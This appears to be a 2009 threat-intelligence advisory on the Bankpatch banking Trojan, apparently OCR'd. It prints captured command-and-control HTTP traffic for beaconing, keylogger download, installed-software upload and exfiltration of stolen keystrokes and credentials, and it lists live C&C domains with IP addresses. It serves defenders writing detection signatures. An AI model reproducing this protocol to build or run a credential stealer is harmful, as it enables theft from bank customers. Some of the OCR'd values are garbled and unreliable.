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POST /index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Opera/9.20 (Windows NT 5.1: U: en)
Host: eixcanta.com
Content-Length: 82
Cache-Control: no-cache
&id=USA_MDAwMDAwWMDAWMDAWMDAWMDAWMTA=&qg=le&action=check&ch
=h&version=097&vendor=0Id
HTTP/1.1 200 OK
Date: Sun, 01 Feb 2009 20:44:47 GMT Server: Apache
Content-Length: 88
Content-Type: text/html;
charset=UTF-8
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Posts to a domain generated by the Trojan, currently ****anta.com (there are
a number of domain generation

sequences), where **** represent four randomized alpha-characters.

Posts to index.php.

UAS = Opera/9.20 (Windows NT 5.1: U: en)

Data frequently sent to the C&C includes the text "version=###&vendor=0Id",
where ### represents a two to three

digit version number for the Trojan installed on the computer. (the Old vendor is
currently in use by known samples but

other vendors have been used before)

Server responses are from Apache/2 (although this information may vary; more
tests over time with different servers

are required).

X-Powered-By: PHP/5.2.8

Server responses for the frequent, real time URL POSTs is "htps".
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Targeted URLs are posted to the C&C in real time:

POST /index.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Opera/9.20 (Windows NT 5.1: U: en)

Host: kgbzanta.com

Content-Length: 174
Cache-Control: no-cache

&id=USA X19fX19fX19fX19fTDU3WTVBWkO=&q=Ilo&data type=url&data_content
=https%3A%2F%2Fonline%2Ecitibank%2Ecom%2Fsignin%2FUnameSignonCooki
e%2Edo&check=htps&version=112&vendor=0Id

Server: Apache/2

X-Powered-By: PHP/5.2.8

Vary: Accept-Encoding,User-Agent

Content-Length: 4

Content-Type: text/html htps

"Personal" POSTs are one of several configuration checks, in this case the server

directs Bankpatch to download the generic

keylogger BHO:

POST /index.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded
User-Agent: Opera/9.20 (Windows NT 5.1: U: en)
Host: kgbzanta.com

Content-Length: 94

Cache-Control: no-cache



&id=USA X19fX19fX19fX19fTDU3WTVBWkO=&q=pe&data_type=Personal&ch
eck=Pers&version=112&vendor=0Id

HTTP/1.1 200 OK

Date: Tue, 03 Feb 2009 22:18:31 GMT

Server: Apache/2

X-Powered-By: PHP/5.2.8

Vary: Accept-Encoding,User-Agent

Content-Length: 24

Content-Type: text/html

di/AcrolEHelpe.dll

Pers

Current BHO being downloaded (other names have included AcrolEHelpe6.dll,
AcrolEHelperl.dll, AcrolEHelper2.dll etc.):

GET /dl/AcrolEHelpe.dll HTTP/1.1

User-Agent: Opera/9.20 (Windows NT 5.1: U: en)

Host: kgbzanta.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Tue, 03 Feb 2009 22:18:33 GMT

Server: Apache/2

Last-Modified: Mon, 02 Feb 2009 14:19:17 GMT

ETag: "81e7-13920-461f03d664340"

Accept-Ranges: bytes

Content-Length: 80160

Vary: Accept-Encoding,User-Agent

Content-Type: application/octet-stream

Apps POSTs upload all installed programs on the machine (possibly for further
identifying Java and other relevant web

applications or detecting security researchers):

POST /index.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Opera/9.20 (Windows NT 5.1: U: en)

Host: kgbzanta.com

Content-Length: 4666

Cache-Control: no-cache

&id=USA X19fX19fX19fX19fTDU3WTVBWkO=&g=Ilo&data type=apps&data_c
ontent=NT%20v5%2E1%20Build%6202600%0D%0AWindows%20Driver%20Pack
age%20%2D%20Ricoh%20Company%620%28rimsptsk%629%20hdc%620%20%28
119%2F14%2F2006%206%2E00%2E01%2E04%629%202009%2E01%2E29%0D%
0AAdobe%%20AIR%202009%2E01%2E30%0D%0AAdobe%20Flash%620Player%620
10%620ActiveX%6202009%2E01%2E30%0D%0AAcrobat%2Ecom%6202009%2E01
%2E30%0D%

[redacted]

E28%0D%0AMDrWiFi%%202009%2E01%2E28%0D%0AMWIsSafe%6202009%
2E01%2E28%0D%0A&check=apps&version=112&

vendor=0IdHTTP/1.1 200 OK



Date: Tue, 03 Feb 2009 22:18:31 GMT

Server: Apache/2

X-Powered-By: PHP/5.2.8

Vary: Accept-Encoding,User-Agent

Content-Length: 4

Content-Type: text/html

Apps

UpdT gets the latest version of the Bankpatch installer (the code may download
even if the current version is the same):

POST /index.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Opera/9.20 (Windows NT 5.1: U: en)

Host: kgbzanta.com

Content-Length: 74

Cache-Control: no-cache

&id=USA X19fX19fX19fX19fTDU3WTVBWkO=&qg=u&check=UpdT&version=11
2&vendor=0IdHTTP/1.1 200 OK

Date: Tue, 03 Feb 2009 22:18:40 GMT

Server: Apache/2

X-Powered-By: PHP/5.2.8

Content-disposition: attachment; filename=update.exe

Vary: Accept-Encoding,User-Agent

Transfer-Encoding: chunked

Content-Type: application/octet-stream

ad440

Uploads of keylog and other stolen data are posted in multipart messages that
start out like:

POST /index.php HTTP/1.1

Content-Type: multipart/form-data; boundary=13589B9E47

User-Agent: Opera/9.20 (Windows NT 5.1: U: en)

Host: kgbzanta.com

Content-Length: 24773

Cache-Control: no-cache

--13589B9E47

Content-Disposition: form-data; name="id"

USA_X19fX19fX19fX19fTDU3SWTVBWKO=

--13589B9E47

Content-Disposition: form-data; name="version

112

--13589B9E47

Content-Disposition: form-data; name="q"

fi

--13589B9E47

Content-Disposition: form-data; name="vendor"

Oold



--13589B9E47

Content-Disposition: form-data; name="data_type

loaderlogs

--13589B9E47

Content-Disposition: form-data; name="filename"

3444_0000000015.htm

--13589B9E47

Content-Disposition: form-data; name="check"

001CFF47

--13589B9E47

Content-Disposition: form-data; name="filesize"

24036

--13589B9E47

Content-Disposition: form-data;
name="content";filename="3444_0000000015.htm"

Content-Type: text/plain

Version: 9 Time: 2009-02-03 17:51:21 Url:

Within these files are the stolen credentials/keystrokes, cookies, HTML and

other session data.

Workaround:

If customers develop custom IDS signhatures or similar network solutions,
iSIGHT Partners encourages you to share the data to best benefit all customers as
we cooperatively and proactively attempt to defend against this highly sophisticated
global Trojan attack.

Hostile Remote Content:

Sample active domains:

vvipanta.com [92.62.100.150]

kgbzanta.com [92.62.100.152]
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